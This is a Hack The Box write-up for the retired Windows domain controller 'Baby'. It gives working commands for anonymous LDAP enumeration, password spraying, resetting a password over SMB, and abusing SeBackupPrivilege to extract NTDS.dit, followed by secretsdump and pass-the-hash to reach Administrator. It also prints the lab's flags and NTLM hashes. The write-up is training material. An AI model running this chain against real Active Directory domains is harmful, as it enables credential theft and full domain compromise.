root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat baby.md
// writeups

Baby

18 Sep 2025 · 16 min read
Baby - maquina de Hack The Box

Executive summary — Baby is a Windows machine built on a Domain Controller (Active Directory) that isn't cracked with a single exploit, but by chaining configuration slips: an anonymous LDAP bind leaks an initial password in the description attribute, group membership reveals hidden accounts that direct enumeration never shows, a targeted password spray plus an SMB password reset yields a shell as a member of Backup Operators, and SeBackupPrivilege lets us dump NTDS.dit for a final Pass-the-Hash as Administrator. An LDAP → SMB → WinRM → Root path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.33.154

Attack map

[anon LDAP]  baby.vl (BabyDC) — anonymous bind
   │  Teresa.Bell description leaks  BabyStart123!
   ▼
[dev/it groups]  the member attribute reveals hidden users
   │  Caroline.Robinson · Ian.Walker (different read ACL)
   ▼
[Password spray]  Caroline.Robinson → STATUS_PASSWORD_MUST_CHANGE
   │  password reset over SMB → Hackerman2026!
   ▼
[WinRM]  Caroline.Robinson  (BUILTIN\Backup Operators)
   │  SeBackupPrivilege → diskshadow (VSS) → robocopy /b → NTDS.dit
   ▼
[secretsdump]  Administrator NTLM hash
   │  Pass-the-Hash
   ▼
[ROOT]  Administrator via WinRM → root.txt

1. Reconnaissance

We start by mapping the attack surface: a full-port sweep tuned for speed, then a scripted, version-detecting scan over the open ports:

nmap -p- --min-rate 3000 -T4 -Pn 10.129.33.154
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 -sC -sV -Pn 10.129.33.154

Relevant result: a port set that is the classic fingerprint of a Domain Controller — 53 (DNS), 88 (Kerberos), 135 (MSRPC), 139/445 (SMB), 389/636/3268/3269 (LDAP/LDAPS/Global Catalog), 464 (kpasswd), 3389 (RDP), 5985 (WinRM) and 9389 (ADWS). The scan also reveals: Windows Server 2022 (build 20348), domain baby.vl, hostname BabyDC, and a self-signed RDP certificate (commonName=BabyDC.baby.vl).

Analysis: against a DC, AD enumeration (SMB, LDAP, Kerberos) is almost always the entry vector. There is no web app: all focus goes to the directory services.

2. SMB — null session

We check whether the server allows anonymous authentication (a null session) over SMB:

netexec smb 10.129.33.154
SMB  10.129.33.154  445  BABYDC  Windows Server 2022 Build 20348 x64 (domain:baby.vl) (signing:True) (Null Auth:True)

Null Auth: True — the anonymous session is allowed. But it goes nowhere by itself: both share enumeration and RID-cycling returned STATUS_ACCESS_DENIED. The null session exists, yet its SMB permissions are minimal.

3. Anonymous LDAP enumeration — the real way in

Where SMB closes, LDAP opens. We try an anonymous bind and dump the domain users:

netexec ldap 10.129.33.154 -u '' -p '' --users

The anonymous bind succeeds and enumerates 9 «domain users» (including Guest). The critical hit: a cleartext password leaked in the description field:

Username            Description
Guest               Built-in account...
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell         Set initial password to BabyStart123!

An extended ldapsearch dump confirms the same 8 real users (4 in OU=dev, 4 in OU=it), all with userAccountControl: 66080 (which includes the PASSWD_NOTREQD flag), and that Administrator is not readable anonymously (privileged built-in accounts carry a different ACL):

ldapsearch -x -H ldap://10.129.33.154 -b "DC=baby,DC=vl" "(objectClass=user)" sAMAccountName description info userAccountControl

The lesson: always dump description and info, not just sAMAccountName. Storing initial passwords in an account's description is a classic of poorly managed AD environments.

4. The first attempt fails — and why

The obvious move is to try BabyStart123! against Teresa.Bell and, by spray, against the other 7 users:

netexec smb 10.129.33.154 -u users.txt -p 'BabyStart123!' --continue-on-success

All 8 return STATUS_LOGON_FAILURE. No match. Digging in: Teresa.Bell's badPwdCount is 4 (no lockout) and her pwdLastSet is no longer 0 — her initial password has already been changed. Kerberos offers nothing either: AS-REP Roasting (impacket-GetNPUsers) yields nothing (no account with UF_DONT_REQUIRE_PREAUTH) and there are no SPN accounts (nothing kerberoastable).

5. The key finding — hidden users via group membership

Direct user search (objectClass=user) consistently returns only 8 accounts. But the dev and it groups are readable anonymously, and querying their member attribute surfaces two members that user enumeration never showed:

ldapsearch -x -H ldap://10.129.33.154 -b "DC=baby,DC=vl" "(objectClass=group)" sAMAccountName member
dn: CN=dev,CN=Users,DC=baby,DC=vl
member: CN=Ian Walker,OU=dev,DC=baby,DC=vl        <- NEW
member: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
member: CN=Hugh George,OU=dev,DC=baby,DC=vl
member: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
member: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
dn: CN=it,CN=Users,DC=baby,DC=vl
member: CN=Caroline Robinson,OU=it,DC=baby,DC=vl   <- NEW
member: CN=Teresa Bell,OU=it,DC=baby,DC=vl
member: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
member: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
member: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl

Why it works: the user objects Ian.Walker and Caroline.Robinson have an ACL that blocks direct reads in a subtree search, but the group's member attribute (readable anonymously) references them anyway. A permissions mismatch lets us discover them indirectly. When the user count «looks short», look at the groups. Note: on HTB, usernames are typically randomized per machine instance — what carries over between spawns is the mechanic (an ACL mismatch between user search and group search), not necessarily the exact name.

6. Foothold — targeted spray and password reset

With the two new names, we repeat the BabyStart123! spray aimed only at them:

netexec smb 10.129.33.154 -u 'Caroline.Robinson' -p 'BabyStart123!'
netexec smb 10.129.33.154 -u 'Ian.Walker' -p 'BabyStart123!'
[-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE
[-] baby.vl\Ian.Walker:BabyStart123!         STATUS_LOGON_FAILURE

The key signal: STATUS_PASSWORD_MUST_CHANGE confirms the password is correct, but Windows requires changing it at next logon — very different from STATUS_LOGON_FAILURE (wrong password). Telling these two status codes apart is what turns a blind «failed» into a hit.

Since the password is valid but flagged for change, we reset it over SMB (allowed precisely because of that flag) with the change-password module:

netexec smb 10.129.33.154 -u 'Caroline.Robinson' -p 'BabyStart123!' -M change-password -o NEWPASS='Hackerman2026!'
[+] Successfully changed password for Caroline.Robinson

We verify over WinRM and open a shell:

netexec winrm 10.129.33.154 -u 'Caroline.Robinson' -p 'Hackerman2026!'
evil-winrm -i 10.129.33.154 -u 'Caroline.Robinson' -p 'Hackerman2026!'
[+] baby.vl\Caroline.Robinson:Hackerman2026! (Pwn3d!)

Evil-WinRM PS> whoami
baby\caroline.robinson

7. User flag

type C:\Users\Caroline.Robinson\Desktop\user.txt
d6dde6cd9ec0b205e7bff3b27ef14826

8. Privilege escalation — SeBackupPrivilege

First reflex with a fresh user: check groups and privileges. The critical detail:

whoami /groups
whoami /priv
BABY\it                     Group
BUILTIN\Backup Operators    Alias    S-1-5-32-551

SeBackupPrivilege    Back up files and directories    Enabled
SeRestorePrivilege   Restore files and directories    Enabled

Backup Operators = de facto Domain Admin on a DC. SeBackupPrivilege allows reading any file, bypassing ACLs, as long as the read uses Windows' backup semantics (the FILE_FLAG_BACKUP_SEMANTICS flag). The target is C:\Windows\NTDS\ntds.dit, the AD database holding every domain hash. Both privileges come pre-enabled in the session, no manual token adjustment needed.

The catch: ntds.dit is locked in use while the DC is running. We need a «frozen» copy of the volume via Volume Shadow Copy.

9. Extracting NTDS.dit via shadow copy

We create the shadow copy with diskshadow. The script must use \r\n line endings: with only \n, diskshadow.exe fails to parse it and prints its help menu (a confusing silent failure). We build it from PowerShell:

$s = "set context persistent nowriters`r`nset metadata C:\Windows\Temp\meta.cab`r`nset verbose on`r`nbegin backup`r`nadd volume c: alias cdrive`r`ncreate`r`nexpose %cdrive% E:`r`nend backup`r`n"
[System.IO.File]::WriteAllText("C:\Windows\Temp\dsscript.txt", $s)
diskshadow /s C:\Windows\Temp\dsscript.txt

Effective script content, for clarity:

set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
begin backup
add volume c: alias cdrive
create
expose %cdrive% E:
end backup
The shadow copy was successfully exposed as E:\.

With the copy exposed at E:\, we use robocopy /b (backup mode, which leverages SeBackupPrivilege) to copy NTDS.dit, and we save the SYSTEM hive (needed to decrypt the database):

mkdir C:\Windows\Temp\extract
robocopy /b E:\Windows\NTDS C:\Windows\Temp\extract NTDS.dit
reg save HKLM\SYSTEM C:\Windows\Temp\extract\SYSTEM

The /b flag is the key: it enables robocopy's backup mode, copying the file despite lacking normal DACL permissions on it. Result: ntds.dit (16.0 MB) and SYSTEM in C:\Windows\Temp\extract\.

Downloading to Kali with evil-winrm's download command fails midway on large files due to a known gem bug (a real typo, EstandardError instead of StandardError, that breaks handling of transient errors on long transfers):

Error: Download failed. Check filenames or paths: uninitialized constant WinRM::FS::FileManager::EstandardError

The SYSTEM hive came down fine, but ntds.dit was cut off twice (at 44% and 69%). Fix: pull it over direct SMB with impacket-smbclient (a binary protocol, without WinRM's base64 overhead):

cat > smb_cmds.txt << 'EOF'
use C$
cd Windows\Temp\extract
get ntds.dit
EOF
impacket-smbclient 'baby.vl/Caroline.Robinson:Hackerman2026!@10.129.33.154' -inputfile smb_cmds.txt

Download complete and verified: exactly 16,777,216 bytes, matching the remote size.

10. Hash dump and Pass-the-Hash

With ntds.dit and SYSTEM local, we extract the hashes offline with secretsdump:

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -outputfile baby_secrets

It dumps NTLM and Kerberos keys (AES256/128, DES) for every domain account — including the two hidden ones (Ian.Walker, Caroline.Robinson) and, crucially, Administrator's:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::

No cracking required: the NTLM hash alone is enough for a Pass-the-Hash:

netexec winrm 10.129.33.154 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
evil-winrm -i 10.129.33.154 -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d
[+] baby.vl\Administrator:ee4457ae59f1e3fbd764e33d9cef123d (Pwn3d!)

Evil-WinRM PS> whoami
baby\administrator

11. Root flag

type C:\Users\Administrator\Desktop\root.txt
2f40e6564bcdb5a464551efe85daeaac

Domain fully compromised. 🏴

12. Cleanup

As Administrator, we remove the artefacts left behind during exploitation:

Remove-Item -Recurse -Force C:\Windows\Temp\extract
Remove-Item -Force C:\Windows\Temp\dsscript.txt
Remove-Item -Force C:\Windows\Temp\meta.cab

The obvious move, deleting the shadow copy with vssadmin, fails:

vssadmin delete shadows
Error: Snapshots were found, but they were outside of your allowed context

The copy was created as PERSISTENT via diskshadow, and that kind of shadow copy can only be removed by the same tool that created it — vssadmin has no authority over it.

Fix: generate a deletion script for diskshadow (again with \r\n line endings) and run it:

[System.IO.File]::WriteAllText("C:\Windows\Temp\delshadow.txt", "delete shadows all`r`n")
diskshadow /s C:\Windows\Temp\delshadow.txt
Number of shadow copies deleted: 1
Remove-Item -Force C:\Windows\Temp\delshadow.txt

Vulnerability summary

PhaseComponentVulnerabilityImpact
EnumerationLDAPAnonymous bind + password in the description attributeLeak of the initial password BabyStart123!
EnumerationLDAP / AD groupsInconsistent ACL: users unreadable yet referenced in memberDiscovery of hidden accounts (Caroline.Robinson)
AccessSMB / user accountValid password flagged «must change» + anonymous SMB resetShell as Caroline.Robinson (user.txt)
PrivEscBUILTIN\Backup OperatorsSeBackupPrivilege allows reading NTDS.dit, bypassing ACLsDump of all domain hashes
PrivEscKerberos / NTLMPass-the-Hash with the Administrator NTLM hashFull domain compromise (root.txt)

Lessons learned

  • Anonymous LDAP bind + credentials in description/info: still common in AD. Always dump those attributes, not just sAMAccountName, and never store passwords in them.
  • Direct enumeration has ACL blind spots. If the user count «looks short», query the groups' member attribute: it may reveal objects with different read ACLs — here it was the only way to see Caroline.Robinson.
  • STATUS_PASSWORD_MUST_CHANGE vs STATUS_LOGON_FAILURE: telling these codes apart in a spray turns a blind «failed» into a valid credential.
  • Backup Operators is de facto Domain Admin on a DC: SeBackupPrivilege + robocopy /b (or diskshadow + copy) extracts NTDS.dit with no further escalation. Restrict membership of that group.
  • diskshadow demands \r\n line endings in its scripts; with only \n it fails silently, showing the help menu.
  • Alternative tools when bugs bite: evil-winrm's download truncates large transfers due to a known bug; impacket-smbclient (direct SMB) is more reliable for multi-MB files.